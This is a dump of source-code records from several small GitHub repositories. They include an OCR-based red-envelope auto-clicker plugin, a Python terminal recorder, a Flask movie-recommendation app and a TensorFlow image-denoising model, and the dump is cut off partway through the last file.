"47c8af730d337f4baae2c940d05a5900265e30d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2051, "license_type": "no_license", "max_line_length": 105, "num_lines": 72, "path": "/plugins/red_envelope/main.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport sys\nimport redis\nimport apiutil\nimport time\nimport json\n\n# 这是示例的优图OCR帐号,已无效\napp_key = 'littleningmeng'\napp_id = '20170104'\n\nprint(\"Pydroid插件示例:OCR抢红包\")\nprint(\"正在连接Redis服务器: localhost:6379 ...\")\nr = redis.Redis(\"localhost\", 6379, db=3)\ntry:\n r.ping()\nexcept redis.exceptions.ConnectionError:\n print(\"连接失败\")\n sys.exit(1)\n\nprint(\"连接成功\")\n\nai_plat = apiutil.AiPlat(app_id, app_key)\nt0 = 0\n\nNEW_RED_ENVELOPE = \"领取红包\"\nOPEN = \"開\"\n\n\ndef match(text, target):\n return text.find(target) > -1\n\n\nflag = 0\npos = None\n\nwhile 1:\n print(\"等待图片数据 ...\")\n jpg = r.brpop(\"frame\")[1]\n print(\"OCR分析中 ...\")\n t0 = time.time()\n res = ai_plat.general_ocr(jpg)\n t1 = time.time()\n print(\"耗时: %0.3f S\" % (t1 - t0))\n if res:\n d = res.json()\n if d.get(\"ret\", -1) == 0:\n for item in d[\"data\"][\"item_list\"]:\n if flag == 0:\n if match(item[\"itemstring\"], NEW_RED_ENVELOPE):\n print(\"=================== 发现红包!! 抢啊 ===================\")\n flag = 1\n pos = item[\"itemcoord\"][0]\n break\n elif flag == 1:\n if match(item[\"itemstring\"], OPEN):\n print(\"開红包\")\n flag = 2\n pos = item[\"itemcoord\"][0]\n break\n\n if flag in (1, 2):\n click_x = pos[\"x\"] + pos[\"width\"] / 2\n click_y = pos[\"y\"] + pos[\"height\"] / 2\n op_dict = {\"cmd\": \"click\", \"x\": click_x, \"y\": click_y}\n r.lpush(\"touch\", json.dumps(op_dict))\n if flag == 2:\n time.sleep(0.2)\n r.lpush(\"touch\", json.dumps({\"cmd\": \"swipe\", \"direction\": \"right\", \"border\": \"yes\"}))\n flag = 0\n else:\n print(\"没有发现红包:(\")\n" } ]
25
dw/ttyrec-py
https://github.com/dw/ttyrec-py
a08d64d681a0d37d4cfd94ff6e90472589d46894
ba294b01ed5d44fbadcf49fded980083722c16da
3ba69510ae54671ea9f160c856ead757f2bbde9f
refs/heads/master
2016-08-11T09:28:33.856908
2016-01-25T18:46:43
2016-01-25T18:46:43
50,372,602
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6387559771537781, "alphanum_fraction": 0.6387559771537781, "avg_line_length": 20.947368621826172, "blob_id": "59ca696185e79bc0576ef319064e80493fed63fd", "content_id": "516c3c6e1ecfd96242bb74a2bda6c9048455eb86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 418, "license_type": "no_license", "max_line_length": 42, "num_lines": 19, "path": "/iolib.py", "repo_name": "dw/ttyrec-py", "src_encoding": "UTF-8", "text": "\nimport struct\n\n\nHEADER_KEYS = ('tv_sec', 'tv_usec', 'len')\nHEADER_FMT = '<iii'\nHEADER_SIZE = struct.calcsize(HEADER_FMT)\n\n\ndef read_header(fp):\n buf = fp.read(HEADER_SIZE)\n assert len(buf) == HEADER_SIZE\n seq = struct.unpack(HEADER_FMT, buf)\n return dict(zip(HEADER_KEYS, seq))\n\n\ndef write_header(fp, dct):\n seq = [dct[k] for k in HEADER_KEYS]\n buf = struct.pack(HEADER_FMT, *seq)\n fp.write(buf)\n" }, { "alpha_fraction": 0.5746753215789795, "alphanum_fraction": 0.5841991305351257, "avg_line_length": 19.528888702392578, "blob_id": "a78472bf2ef38143a575eeb91ebdce1ab882b49e", "content_id": "0e624e63f90b68c2df9c365e120cc09a16f31e4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4620, "license_type": "no_license", "max_line_length": 116, "num_lines": 225, "path": "/ttyrec.py", "repo_name": "dw/ttyrec-py", "src_encoding": "UTF-8", "text": "\nfrom __future__ import absolute_import\nimport collections\nimport fcntl\nimport optparse\nimport os\nimport pty\nimport signal\nimport struct\nimport sys\nimport termios\nimport time\nimport tty\n\nimport iolib\n\n\nXCASE = 52\nCDEL = 0xff # #ifdef soup\n\n\nBUFSIZ = 1024\nfscript = None # FILE*\n\nmaster = None # int\nslave = None # int\nchild = None # int\nsubchild = None #\nfname = None # char*\n\ntt = None # struct termios\nwin = None # struct winsize\nlb = None # int\nl = None # int\n\naflg = None # int\n\nTERMIOS_KEYS = ('iflag', 'oflag', 'cflag', 'lflag', 'ispeed', 'ospeed', 'cc')\n\n\ndef tcgetattr(fd):\n seq = termios.tcgetattr(0)\n seq[TERMIOS_KEYS.index('cc')] = bytearray(seq[TERMIOS_KEYS.index('cc')])\n return dict(zip(TERMIOS_KEYS, seq))\n\n\ndef tcsetattr(fd, when, dct):\n seq = [dct[k] for k in TERMIOS_KEYS]\n seq[TERMIOS_KEYS.index('cc')] = list(str(seq[TERMIOS_KEYS.index('cc')]))\n return termios.tcsetattr(fd, when, seq)\n\n\ndef doinput():\n fscript.close()\n os.close(slave)\n while True:\n ibuf = os.read(0, BUFSIZ)\n if len(ibuf) == 0:\n break\n os.write(master, ibuf)\n done()\n\n\ndef sigchld(*_):\n finish()\n\n\ndef finish():\n os.wait4(child, 0) # WNOHANG\n done()\n\n\ndef dooutput():\n # setbuf(stdout, NULL) # ??? \n os.close(0)\n os.close(slave)\n\n while True:\n obuf = os.read(master, BUFSIZ)\n if len(obuf) == 0:\n break\n\n os.write(1, obuf)\n now = time.time()\n iolib.write_header(fscript, {\n 'tv_sec': int(now),\n 'tv_usec': int((now % 1) * 1e6),\n 'len': len(obuf)\n })\n fscript.write(obuf)\n\n done()\n\n\ndef doshell(command):\n getslave()\n os.close(master)\n fscript.close()\n os.dup2(slave, 0)\n os.dup2(slave, 1)\n os.dup2(slave, 2)\n os.close(slave)\n\n shell = os.environ.get('SHELL', '/bin/sh')\n print [shell, command]\n if command:\n os.execl(shell, shell, '-c', command)\n else:\n os.execl(shell, shell, '-i')\n\n\ndef cfmakeraw(tt):\n \"\"\"\n Make a pre-existing termios structure into \"raw\" mode: character-at-a-time\n mode with no characters interpreted, 8-bit data path.\n \"\"\"\n tt['iflag'] &= ~(tty.IMAXBEL|tty.IGNBRK|tty.BRKINT|tty.PARMRK|tty.ISTRIP|tty.INLCR|tty.IGNCR|tty.ICRNL|tty.IXON)\n tt['oflag'] &= ~tty.OPOST\n tt['lflag'] &= ~(tty.ECHO|tty.ECHONL|tty.ICANON|tty.ISIG|tty.IEXTEN)\n tt['cflag'] &= ~(tty.CSIZE|tty.PARENB)\n tt['cflag'] |= tty.CS8\n tt['cc'][tty.VMIN] = 1\n tt['cc'][tty.VTIME] = 0\n\n\ndef fixtty():\n rtt = tt.copy()\n rtt['iflag'] = 0\n rtt['lflag'] &= ~(tty.ISIG|tty.ICANON|XCASE|tty.ECHO|tty.ECHOE|tty.ECHOK|tty.ECHONL)\n rtt['oflag'] = tty.OPOST\n rtt['cc'][tty.VINTR] = CDEL\n rtt['cc'][tty.VQUIT] = CDEL\n rtt['cc'][tty.VERASE] = CDEL\n rtt['cc'][tty.VKILL] = CDEL\n rtt['cc'][tty.VEOF] = 1\n rtt['cc'][tty.VEOL] = 0\n\n cfmakeraw(rtt)\n rtt['lflag'] &= ~tty.ECHO\n tcsetattr(0, tty.TCSAFLUSH, rtt)\n\n\ndef fail():\n os.kill(0, signal.SIGTERM)\n done()\n\n\ndef done():\n if subchild:\n fscript.close()\n os.close(master)\n else:\n tcsetattr(0, termios.TCSAFLUSH, tt)\n sys.exit(0)\n\n\ndef get_win_size(fd):\n fmt = 'hh'\n buf = fcntl.ioctl(fd, tty.TIOCGWINSZ, '\\x00' * struct.calcsize(fmt))\n return struct.unpack(fmt, buf)\n\n\ndef set_win_size(fd, rows, cols):\n fmt = 'hh'\n fcntl.ioctl(fd, tty.TIOCSWINSZ, struct.pack(fmt, rows, cols))\n\n\ndef openpty(): # getmaster\n global tt\n global win\n global master\n global slave\n\n tt = tcgetattr(0)\n win = get_win_size(0)\n\n master, slave = pty.openpty()\n tcsetattr(slave, termios.TCSAFLUSH, tt)\n\n\ndef getslave():\n os.setsid()\n fcntl.ioctl(slave, termios.TIOCSCTTY, '')\n win = get_win_size(0)\n set_win_size(slave, *win)\n tcsetattr(slave, termios.TCSAFLUSH, tt)\n\n\ndef make_parser():\n parser = optparse.OptionParser()\n parser.add_option('-a', '--append', action='store_true')\n parser.add_option('-e', '--execute')\n return parser\n\n\ndef main(argv):\n global fscript\n global child, subchild\n global shell\n\n parser = make_parser()\n opts, args = parser.parse_args(argv[1:])\n\n if args:\n fname = args[0]\n else:\n fname = \"ttyrecord\"\n\n fscript = open(fname, 'ab' if opts.append else 'wb', 0)\n\n openpty()\n fixtty()\n\n signal.signal(signal.SIGCHLD, sigchld)\n child = os.fork()\n if child == 0:\n subchild = child = os.fork()\n if child:\n dooutput()\n else:\n doshell(opts.execute)\n\n doinput()\n\nif __name__ == '__main__':\n main(sys.argv)\n" } ]
2
Adhyyan-123/Movie_Recommendation
https://github.com/Adhyyan-123/Movie_Recommendation
32899c2d91aba35c4ddf59e4ac7f8d5a00e5f475
1b77eb735d94c005847f944e695d152c9d2fe9da
7c9e62dc97d5d7d8a6b87d86f49ef9297968177c
refs/heads/master
2021-01-19T23:39:58.255649
2017-04-21T16:53:34
2017-04-21T16:53:34
89,002,567
1
1
null
null
null
null
null
[ { "alpha_fraction": 0.4857819974422455, "alphanum_fraction": 0.5071089863777161, "avg_line_length": 19.950000762939453, "blob_id": "9b2e0728164b8c3302ed2a5a5f5a151efbbfc36c", "content_id": "d5f6dd9fd8d416ac345583471733789835b9fe8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 422, "license_type": "no_license", "max_line_length": 46, "num_lines": 20, "path": "/imagesource.php", "repo_name": "Adhyyan-123/Movie_Recommendation", "src_encoding": "UTF-8", "text": "<?php\n\textract($_GET);\n\t$images=fopen(\"images.txt\",\"r\");\n\t$lines=fread($images,filesize(\"images.txt\"));\n\t$lines=explode(\"\\n\",$lines);\n\t$Response=\"\";\n\tfor($i=0;$i<sizeof($lines);$i++){\n\t\t$t=explode(\":\",$lines[$i]);\n\t\tif($t[0]==$img){\n\t\t\t$src=explode(\" \",$t[1]);\n\t\t\tfor($j=0;$j<sizeof($src);$j++){\n\t\t\t\t$src1=explode(\"-\",$src[$j]);\n\t\t\t\tif($src1[0]==$section){\n\t\t\t\t\t$Response=$src1[1];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\techo $Response\n?>\n\t\t\n" }, { "alpha_fraction": 0.5775577425956726, "alphanum_fraction": 0.5874587297439575, "avg_line_length": 13.428571701049805, "blob_id": "adf512f19235679fe1380bd0153b871697aebb6a", "content_id": "ca06cea211814e5882a3a19074526f0614438fa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 303, "license_type": "no_license", "max_line_length": 45, "num_lines": 21, "path": "/newMovie.php", "repo_name": "Adhyyan-123/Movie_Recommendation", "src_encoding": "UTF-8", "text": "<?php\n\tset_time_limit(0);\n\n\tob_start();\n\t$oldtime=0;\n\twhile(true){\n\t\t$newtime=filemtime(\"microblog/action.csv\");\n\t\tif ($newtime>$oldtime){\n\t\t\t$file=file(\"microblog/action.csv\");\n\t\t\t$lastrow=array_pop($file);\n\t\t\techo $lastrow;\n\t\t\tob_flush();\n\t\t\tflush();\n\t\t\t//sleep(3);\n\t\t\t$oldtime=$newtime;\n\t\t}\n\t}\n\n\n\n?>\n" }, { "alpha_fraction": 0.6200466156005859, "alphanum_fraction": 0.6480186581611633, "avg_line_length": 45, "blob_id": "f9e19669f66ade28f3e7e6dbe6deca947b62aabd", "content_id": "590d0c20d1dfc935790306c6d2d841b60a5b6263", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1287, "license_type": "no_license", "max_line_length": 295, "num_lines": 28, "path": "/recomender.py", "repo_name": "Adhyyan-123/Movie_Recommendation", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport csv\nimport numpy\n\nu_cols=['user_id','age','sex','occupation','zip_codes']\nuser=pd.read_csv('ml-100k/u.user',sep='|',names=u_cols,encoding='latin-1')\nr_cols = ['user_id', 'movie_id', 'rating', 'unix_timestamp']\nratings = pd.read_csv('ml-100k/u.data', sep='\\t', names=r_cols,encoding='latin-1')\ni_cols = ['movie id', 'movie title' ,'release date','video release date', 'IMDb URL', 'unknown', 'Action', 'Adventure','Animation', 'Children\\'s', 'Comedy', 'Crime', 'Documentary', 'Drama', 'Fantasy','Film-Noir', 'Horror', 'Musical', 'Mystery', 'Romance', 'Sci-Fi', 'Thriller', 'War', 'Western']\nitems = pd.read_csv('ml-100k/u.item', sep='|', names=i_cols, encoding='latin-1')\nr_cols = ['user_id', 'movie_id', 'rating', 'unix_timestamp']\nratings_base = pd.read_csv('ml-100k/ua.base', sep='\\t', names=r_cols, encoding='latin-1')\nratings_test = pd.read_csv('ml-100k/ua.test', sep='\\t', names=r_cols, encoding='latin-1')\na=[]\na=items.head()\n\n#def file_creation(self,name):\narr=items.loc[ (items[\"Western\"]==1), [\"movie title\",\"release date\"]].values\narr=arr.tolist()\narr1=[]\nfor i in arr:\n\tarr1.append([x.encode('UTF8') for x in i])\nprint arr1[:5]\n#arr2=[['abhijeet','1994'],['anand','1997']]\n\nwith open(\"Western.csv\", 'wb') as f:\n\twr = csv.writer(f)\n\twr.writerows(arr1)" }, { "alpha_fraction": 0.5693325400352478, "alphanum_fraction": 0.5981012582778931, "avg_line_length": 25.738462448120117, "blob_id": "cb4c4d4533c582620e4f5955bc99d5c0111e082b", "content_id": "98e081dd8356aaf5c80b412e21cbc6307fa163a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3476, "license_type": "no_license", "max_line_length": 109, "num_lines": 130, "path": "/login.py", "repo_name": "Adhyyan-123/Movie_Recommendation", "src_encoding": "UTF-8", "text": "from flask import Flask, redirect, url_for, request,render_template,Response\nimport csv\nimport os,datetime\napp = Flask(__name__)\n\[email protected]('/success/<name>')\ndef success(name):\n return 'welcome %s' % name\n\[email protected]('/newMovies')\ndef fetchNewMovies():\n\toldtime=[]\n\tfor files in os.listdir(\".\"):\n\t\t\tif files.endswith(\".csv\"):\n\t\t\t\tt=str(datetime.datetime.fromtimestamp(os.path.getmtime(files))).split()[1]\n\t\t\t\tx=t.split(\":\")\n\t\t\t\toldtime.append(float(x[2])+float(x[1])*60+float(x[0])*3600)\n\twhile True:\n\t\ti=0\n\t\tfor files in os.listdir(\".\"):\n\t\t\tif files.endswith(\".csv\"):\n\t\t\t\tt=str(datetime.datetime.fromtimestamp(os.path.getmtime(files))).split()[1]\n\t\t\t\tx=t.split(\":\")\n\t\t\t\tsums=int(float(x[2])+float(x[1])*60+float(x[0])*3600)\n\t\t\t\tif sums>oldtime[i]:\n\t\t\t\t\toldtime[i]=sums\n\t\t\t\t\tfilm=list(csv.reader(open(files)))[-1]\n\t\t\t\t\tprint film\n\t\t\t\t\tresp=Response(\"event:received\\nretry:1000\\ndata:\"+\" \".join(film)+\"\\n\\n\")\n\t\t\t\t\tresp.headers[\"Content-type\"]=\"text/event-stream\"\n\t\t\t\t\treturn resp\n\t\t\t\t\t#return Response(\"event:received\\nretry:1000\\ndata:\"+\" \".join(film)+\"\\n\\n\",mimetype=\"text/event-stream\")\n\t\t\ti+=1\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\[email protected]('/buy/<files>/<name>/Submitting',methods = ['POST'])\ndef Register(files,name):\n\tr=csv.reader(open(files+\".csv\"))\n\tlines=[l for l in r]\n\trow=0\n\tprint lines\n\tfor i in xrange(len(lines)):\n\t\tif lines[i][0]==name:\n\t\t\trow=i\n\t\t\tbreak\n\tif lines[row][2]<=0:\n\t\treturn \"Already Houseful\"\n\tlines[row][2]=str(int(lines[row][2])-int(request.form[\"NoCD\"]))\n\tprint lines\n\twriter=csv.writer(open(files+\".csv\",\"w\"))\n\twriter.writerows(lines)\n\treturn \"Accepted\"\n\[email protected]('/buy/<files>/<Name>')\ndef CDbuy(files,Name):\n\tnames={}\n\tnames['movieName']=Name\n\tnames['fromFile']=files\n\treturn render_template('buyit.html', name = names)\n\t\[email protected]('/Chcekavb.php/<Name>/<files>')\ndef value(Name,files):\n\tf1=open(files+\".csv\",\"r\")\n\tfor i in csv.reader(f1):\n\t\tif(i[0]==Name):\n\t\t\tif(i[2]>0):\n\t\t\t\treturn Name+\":Available\"\n\t\t\tbreak\n\treturn Name+\":Not Available\"\n\t\[email protected](\"/buy/<files>/present/<name>\")\ndef buyit(files,name):\n\tprint name,files\n\tf1=open(files+\".csv\",\"r\")\n\tfor i in csv.reader(f1):\n\t\tif(i[0]==name):\n\t\t\tif(i[2]>0):\n\t\t\t\treturn i[2]\n\t\t\telse:\n\t\t\t\treturn \"HouseFul\"\n\[email protected]('/login',methods = ['POST', 'GET'])\ndef login():\n print \"Hi\"\n if request.method == 'POST':\n filter1 = request.form['filter-1']\n filter2 = request.form['filter-2']\n filter3 = request.form['filter-3']\n c,u=function(filter1,filter2,filter3)\n dict={}\n if len(c)<3:\n dict[filter1]=u[0]\n dict[filter2]=u[1]\n dict[filter3]=u[2]\n return render_template('login.html', name = dict)\n else:\n dict[filter1]=c[0]\n dict[filter2]=c[1]\n dict[filter3]=c[2]\n return render_template('login.html', name = dict)\n else:\n user = request.args.get('nm')\n return redirect(url_for('success',name = user))\n\ndef function(x,y,z):\n print x,y,z\n file1=str(x)+\".csv\"\n f1=open(file1)\n file2=str(y)+\".csv\"\n f2=open(file2)\n file3=str(z)+\".csv\"\n f3=open(file3)\n fi1=[]\n fi2=[]\n fi3=[]\n for i in csv.reader(f1):\n fi1.append(i[0])\n for j in csv.reader(f2):\n fi2.append(j[0])\n for k in csv.reader(f3):\n fi3.append(k[0])\n common=set(fi1) & set(fi2) & set(fi3)\n common=list(common)\n uncommon=[fi1[0],fi2[0],fi3[0]]\n return common,uncommon\n\nif __name__ == '__main__':\n app.run(debug = True)\n" } ]
4
bigr/ulf
https://github.com/bigr/ulf
df3bb1b51ea01866bb163ff79b6cf35c78c67407
4e17c6959089035dd81f01f80d736b29b4e69754
184c63ee2d365f9d6fa361d1bd08d88ba8e1fdfd
refs/heads/main
2023-06-11T08:38:47.427451
2021-06-04T11:19:33
2021-06-28T14:08:55
373,810,658
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.875, "alphanum_fraction": 0.875, "avg_line_length": 12.333333015441895, "blob_id": "da890510a6766742fbed91ae7b2bf90cb35c0b29", "content_id": "70b24caffd5d3e909e8f58da5ce8e14849cb33b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 40, "license_type": "no_license", "max_line_length": 17, "num_lines": 3, "path": "/requirements.txt", "repo_name": "bigr/ulf", "src_encoding": "UTF-8", "text": "pre-commit\ntensorflow\ntensorflow_addons\n" }, { "alpha_fraction": 0.7435897588729858, "alphanum_fraction": 0.7435897588729858, "avg_line_length": 38, "blob_id": "81b8205fd81e88bee9ef6a47309bc9d1f1b2c9b1", "content_id": "6cc7e5683370de4ce16f0e7763be1828e5989baf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 39, "license_type": "no_license", "max_line_length": 38, "num_lines": 1, "path": "/ulf/__init__.py", "repo_name": "bigr/ulf", "src_encoding": "UTF-8", "text": "\"\"\"Unsupervised Learning Framework.\"\"\"\n" }, { "alpha_fraction": 0.6764705777168274, "alphanum_fraction": 0.6764705777168274, "avg_line_length": 33, "blob_id": "68850d503d081bade932253ce9a21e5fccbfca16", "content_id": "0c0469723dfb8d5e193bc5139f3902ffc5ba99fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 34, "license_type": "no_license", "max_line_length": 33, "num_lines": 1, "path": "/tests/ulf/__init__.py", "repo_name": "bigr/ulf", "src_encoding": "UTF-8", "text": "\"\"\"Tests for keras contrstive.\"\"\"\n" }, { "alpha_fraction": 0.6507936716079712, "alphanum_fraction": 0.6634920835494995, "avg_line_length": 23.230770111083984, "blob_id": "9ef03d240f5a2de2714d9e4812e60583fbfcb0c2", "content_id": "80f3cadc8335e12a36e853a193c6fbaf48bfa051", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 315, "license_type": "no_license", "max_line_length": 50, "num_lines": 13, "path": "/setup.py", "repo_name": "bigr/ulf", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"Unsupervised Learning Framework setup.\"\"\"\nfrom setuptools import find_packages, setup\n\nsetup(\n name=\"ulf\",\n version=\"0.1\",\n description=\"Unsupervised Learning Framework\",\n author=\"Pavel Klinger\",\n author_email=\"[email protected]\",\n packages=find_packages(),\n python_requires=\">=3.8\",\n)\n" }, { "alpha_fraction": 0.5918367505073547, "alphanum_fraction": 0.5918367505073547, "avg_line_length": 15.333333015441895, "blob_id": "8aff463280f9c048cb39249b882eb552e2a79029", "content_id": "e7622d125d23ec07bcc112d487c006dd89a41537", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 98, "license_type": "no_license", "max_line_length": 40, "num_lines": 6, "path": "/tests/ulf/test_test.py", "repo_name": "bigr/ulf", "src_encoding": "UTF-8", "text": "\"\"\"Dummy test that tests are running.\"\"\"\n\n\ndef test_test():\n \"\"\"Dummy test.\"\"\"\n assert True\n" }, { "alpha_fraction": 0.8461538553237915, "alphanum_fraction": 0.8461538553237915, "avg_line_length": 42.33333206176758, "blob_id": "567ca89ee7e6ec5b00dc18783935f500ec7f7854", "content_id": "cd51a72b43d257a4acc7621df8643d9dcf15195f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 130, "license_type": "no_license", "max_line_length": 95, "num_lines": 3, "path": "/README.md", "repo_name": "bigr/ulf", "src_encoding": "UTF-8", "text": "# Unsupervised Learning Framwork\n\nprovides one interface for numerous unsupervised, weakly-supervised and semi-supervised method.\n" } ]
6
hfeng-xia/IRCNN
https://github.com/hfeng-xia/IRCNN
cbc21f390ee96b0aab0e1e17d10aba169ad4a8e4
b1766a9d84ce6621affcdea625e77f7ebd6ae6c3
cb32a82924ed3832eaa8c6c23b567a4719b10729
refs/heads/master
2020-03-26T08:49:56.991549
2018-07-15T14:00:51
2018-07-15T14:00:51
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6394495368003845, "alphanum_fraction": 0.642201840877533, "avg_line_length": 23.772727966308594, "blob_id": "eec2491aa431c4b75df23346b226eb87162d6dae", "content_id": "74b84d8d717905854d9837aa5771854fe19ff206", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1090, "license_type": "no_license", "max_line_length": 71, "num_lines": 44, "path": "/tf_records.py", "repo_name": "hfeng-xia/IRCNN", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport tensorflow as tf\n\ndef bytes_feature(value):\n \"\"\"Wrapper for inserting bytes features into Example proto.\n \"\"\"\n if not isinstance(value, list):\n value = [value]\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\n\n\ndef image_to_tfexample(image_data):\n\n return tf.train.Example(features=tf.train.Features(feature={\n 'image_raw': bytes_feature(image_data),\n }))\n\n\ndef creat_tfrecord(path, tf_filename):\n\n path_lists = tf.gfile.Glob(os.path.join(path, '*.jpg'))\n\n\n with tf.python_io.TFRecordWriter(tf_filename) as to_write:\n\n for path in path_lists:\n print('load %s'%path)\n with tf.gfile.FastGFile(path, 'rb') as to_read:\n\n image_string = to_read.read()\n\n example = image_to_tfexample(image_string)\n\n to_write.write(example.SerializeToString())\n\n print('Finish!')\n\nif __name__ == '__main__':\n\n creat_tfrecord('./BSDS300', './data.tfrecords')\n" }, { "alpha_fraction": 0.5729132890701294, "alphanum_fraction": 0.5958103537559509, "avg_line_length": 35.5476188659668, "blob_id": "e17619e7404cd582ff97e732a7f7e7aae84ba8e5", "content_id": "60ed5ff28293e00bb8236cc99c507ad8c433eda8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6158, "license_type": "no_license", "max_line_length": 121, "num_lines": 168, "path": "/main.py", "repo_name": "hfeng-xia/IRCNN", "src_encoding": "UTF-8", "text": "from collections import namedtuple\nimport tensorflow as tf\nimport time\nimport os\nimport sys\nimport matplotlib.pyplot as plt\nimport ircnn_model\nimport glob as gb\nimport cv2\nimport numpy as np\nimport read_tfrecord\n\nFLAGS = tf.app.flags.FLAGS\n\ntf.app.flags.DEFINE_string('tfrecord_path', './data/data.tfrecords','')\ntf.app.flags.DEFINE_string('test_set_path', './','')\ntf.app.flags.DEFINE_string('mode', 'Eval', 'train or eval.')\ntf.app.flags.DEFINE_string('eval_data_path', './Test/Set14',\n 'Filepattern for eval data')\ntf.app.flags.DEFINE_string('save_eval_path', 'result', '')\ntf.app.flags.DEFINE_integer('max_iter', 160000, '')\ntf.app.flags.DEFINE_bool('is_color', True, '')\ntf.app.flags.DEFINE_integer('image_size', 64, 'Image side length.')\ntf.app.flags.DEFINE_integer('batch_size', 128,'')\ntf.app.flags.DEFINE_integer('sigma', 25,'')\ntf.app.flags.DEFINE_string('log_dir', 'log_dir',\n 'Directory to keep the checkpoints. Should be a '\n 'parent directory of FLAGS.train_dir/eval_dir.')\ntf.app.flags.DEFINE_string('checkpoint_dir', './checkpoints','')\n\n\n\ndef train(hps):\n\n images, labels = read_tfrecord.build_input(\n FLAGS.tfrecord_path, FLAGS.image_size, FLAGS.batch_size, FLAGS.sigma, FLAGS.is_color)\n\n model = dncnn_model.IRCNN(hps, images, labels, FLAGS.mode)\n model.build_graph()\n param_stats = tf.contrib.tfprof.model_analyzer.print_model_analysis(\n tf.get_default_graph(),\n tfprof_options=tf.contrib.tfprof.model_analyzer.\n TRAINABLE_VARS_PARAMS_STAT_OPTIONS)\n\n sys.stdout.write('total_params: %d\\n' % param_stats.total_parameters)\n\n tf.contrib.tfprof.model_analyzer.print_model_analysis(\n tf.get_default_graph(),\n tfprof_options=tf.contrib.tfprof.model_analyzer.FLOAT_OPS_OPTIONS)\n\n logging_hook = tf.train.LoggingTensorHook(\n tensors={'step': model.global_step,\n 'loss': model.cost},\n every_n_iter=10)\n\n summary_hook = tf.train.SummarySaverHook(\n save_steps=100,\n output_dir=FLAGS.log_dir,\n #summary_op=tf.summary.merge(model.summaries))\n summary_op=model.summaries\n )\n\n checkpoint_hook = tf.train.CheckpointSaverHook(\n checkpoint_dir=FLAGS.checkpoint_dir,\n save_steps=1000\n )\n\n class _LearningRateSetterHook(tf.train.SessionRunHook):\n \"\"\"Sets learning_rate based on global step.\"\"\"\n\n def begin(self):\n self._lrn_rate = 0.001\n\n def before_run(self, run_context):\n return tf.train.SessionRunArgs(\n model.global_step, # Asks for global step value.\n feed_dict={model.lrn_rate: self._lrn_rate}) # Sets learning rate\n\n def after_run(self, run_context, run_values):\n train_step = run_values.results\n if train_step < 40000:\n self._lrn_rate = 0.001\n elif train_step < 80000:\n self._lrn_rate = 0.0001\n elif train_step < 120000:\n self._lrn_rate = 0.00001\n\n \n\n\n gpu_options = tf.GPUOptions(allow_growth=True)\n with tf.train.MonitoredTrainingSession(\n hooks=[logging_hook, _LearningRateSetterHook(), checkpoint_hook],\n chief_only_hooks=[summary_hook],\n save_summaries_steps=0,\n config=tf.ConfigProto(gpu_options=gpu_options)) as mon_sess:\n\n for i in range(FLAGS.max_iter):\n mon_sess.run(model.train_op)\n\n\ndef eval(hps):\n\n images = tf.placeholder(dtype=tf.float32, shape=[None, None, None, 3])\n labels = tf.placeholder(dtype=tf.float32, shape=[None, None, None, 3])\n model = ircnn_model.IRCNN(hps, images, labels, FLAGS.mode)\n model.build_graph()\n saver = tf.train.Saver()\n\n swts = ['.jpg', '*.png', '*.JPG', '*.bmp']\n path_lists = []\n for swt in swts:\n path_lists.extend(gb.glob(os.path.join(FLAGS.eval_data_path, swt)))\n try:\n ckpt_state = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir)\n except tf.errors.OutOfRangeError as e:\n tf.logging.error('Cannot restore checkpoint: %s', e)\n\n if not (ckpt_state and ckpt_state.model_checkpoint_path):\n tf.logging.info('No model to eval yet at %s', FLAGS.checkpoint_dir)\n zeros = np.zeros([1, 100, 100, 3])\n with tf.Session() as sess:\n saver.restore(sess, ckpt_state.model_checkpoint_path)\n sess.run(model.clear, feed_dict={images:zeros, labels:zeros})\n for path in path_lists:\n gt = cv2.imread(path)\n gt = cv2.cvtColor(gt, cv2.COLOR_BGR2RGB)\n gt = np.expand_dims(gt, axis=0)\n gt = gt.astype(np.float32) / 255.\n tf_psnr = tf.image.psnr(labels, model.clear, 1.)\n tf_ssim = tf.image.ssim(labels, model.clear, 1.)\n noisy = gt + FLAGS.sigma/255.*np.random.standard_normal(gt.shape)\n img, psnr, ssim = sess.run([model.clear, tf_psnr, tf_ssim], feed_dict={images:noisy, labels:gt})\n image_name = os.path.basename(path)\n print('%s, PSNR = %4.2f dB, SSIM = %4.4f'%(image_name, psnr[0], ssim[0]))\n img = img*255\n img[img<0] = 0\n img[img>255] = 255\n img = img.astype('uint8')\n noisy = (noisy - noisy.min()) / (noisy.max() - noisy.min())\n noisy = noisy*255\n noisy[noisy<0] = 0\n noisy[noisy>255] == 255\n noisy = noisy.astype('uint8')\n img = np.concatenate([noisy,img], axis=2)\n 